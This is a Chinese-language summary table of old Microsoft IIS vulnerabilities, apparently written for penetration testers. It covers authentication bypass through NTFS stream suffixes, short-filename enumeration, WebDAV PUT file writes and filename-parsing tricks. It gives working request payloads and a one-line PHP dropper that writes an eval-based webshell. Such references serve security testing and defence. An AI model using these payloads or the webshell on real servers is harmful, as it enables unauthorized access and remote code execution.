iis漏洞汇总
ID |
技术描述 |
利用场景/条件 |
过程 |
参考 |
武器库关联 |
---|---|---|---|---|---|
S1 |
认证绕过漏洞 |
漏洞影响版本:IIS 6.0、IIS 7.5 漏洞缓解: 1.IIS 7.5 配置.NET Framework 2.0不受上述(2)的绕过影响; 2.攻击者需要事先获取IIS服务器受认证保护目录; |
主要包括以下三类绕过: 1. 安装了PHP的Microsoft IIS 6.0身份验证绕过: IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露; Eg:/admin::$INDEX_ALLOCATION/index.php 2.Microsoft IIS 7.5经典ASP身份验证绕过: 配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制; 举例: Eg:/admin:$i30:$INDEX_ALLOCATION/index.asp 3.Microsoft IIS 7.5 .NET源代码公开和身份验证绕过: 在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php 除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。 IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。 Eg: http://<victimIIS75>/Default.aspx/.php (php任意代码执行) 漏洞类型:可远程利用,可触发认证绕过和信息泄露漏洞复现:复现环境:Windows 7 x64位,默认IIS 7.5以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证: 1.IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
2.配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
3.接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问: http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
4.除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行; Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
a.正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
b.通过在末尾加上/.php,成功执行php代码:
|
https://mp.weixin.qq.com/s/FHb82rhk-63HSU7R_g1Atw | |
S2 | IIS短文件名漏洞 |
IIS 1.0,Windows NT 3.51 IIS 7.5,Windows 2008(经典管道模式) |
一、漏洞的成因
1、为了兼容16位MS-DOS程序,Windows为文件名较长的文件(文件夹)生成了对应的windows8.3短文件名。 在Windows下查看对应的短文件名,可以使用命令dir/x。 2、短文件名有如下特征: a、只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件,像前六位相同的话,而且后缀前3位必须相同。 b、后缀名最长只有3位,多余的被截断。 3、我们可以启用.net的iis下暴力列举短文件名,原因是: a、访问构造的某个存在的短文件名,会返回404。 b、访问构造的某个不存在的短文件名,会返回400。 二、漏洞的利用 1、需要使用到通配符*。*可以匹配n个字符,n可以为0.判断某站点是否存在iis段文件名暴力破解,构造payload,分别访问以下两个url。 a、http://www.xxxx.com/*~1***/a.aspx b、http://www.xxxx.com/dad*~1***/a.aspx/ 2、如果404则文件存在,继续猜解 a、http://www.xxxx.com/a*~1***/a.aspx404 b、http://www.xxxx.com/ad*~1***/a.aspx404 c、http://www.xxxx.com/adm*~1***/a.aspx 3、依次类推,一个一个枚举就可以进行下去。 注意:如果admin开头的是一个文件夹,则 http://www.xxxx.com/admin*~1/a.aspx会是404的。 4、继续猜解 http://www.xxxx.com/admin*~1*g*/a.aspx 如果404,则扩展名肯定有g,按这个思路继续。 三、实际用处 1、猜后台。 2、猜敏感文件。 3、一些情况,可以通过短文件名直接下载对应的文件。 四、局限性 1、只能猜6位,以及扩展名前3位。 2、名称较短的文件是没有相应的短文件名的。 3、需要iis和.net两个条件都满足。 |
https://www.freebuf.com/news/172561.html | https://github.com/lijiejie/IIS_shortname_Scanner |
S3 | PUT任意文件写入漏洞 |
IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。 版本:IIS 6.0 |
利用方法: 先用PUT方法上传txt文件,然后再用move改文件名称:
漏洞修复建议 |
https://www.cnblogs.com/-mo-/p/11295400.html | |
S4 | IIS解析漏洞 | IIS6.0 |
一、IIS 5.x/6.0解析漏洞 IIS 6.0解析利用方法有两种 /xx.asp/xx.jpg wooyun.asp;.jpg 例如创建目录 wooyun.asp,那么 /wooyun.asp/1.jpg 第二种,在IIS6.0下,分号后面的不被解析,也就是说 wooyun.asp;.jpg /wooyun.asa 二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞 Nginx解析漏洞这个伟大的漏洞是我国安全组织80sec发现的… <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
http://www.360doc.com/content/14/1213/18/597197_432668678.shtml |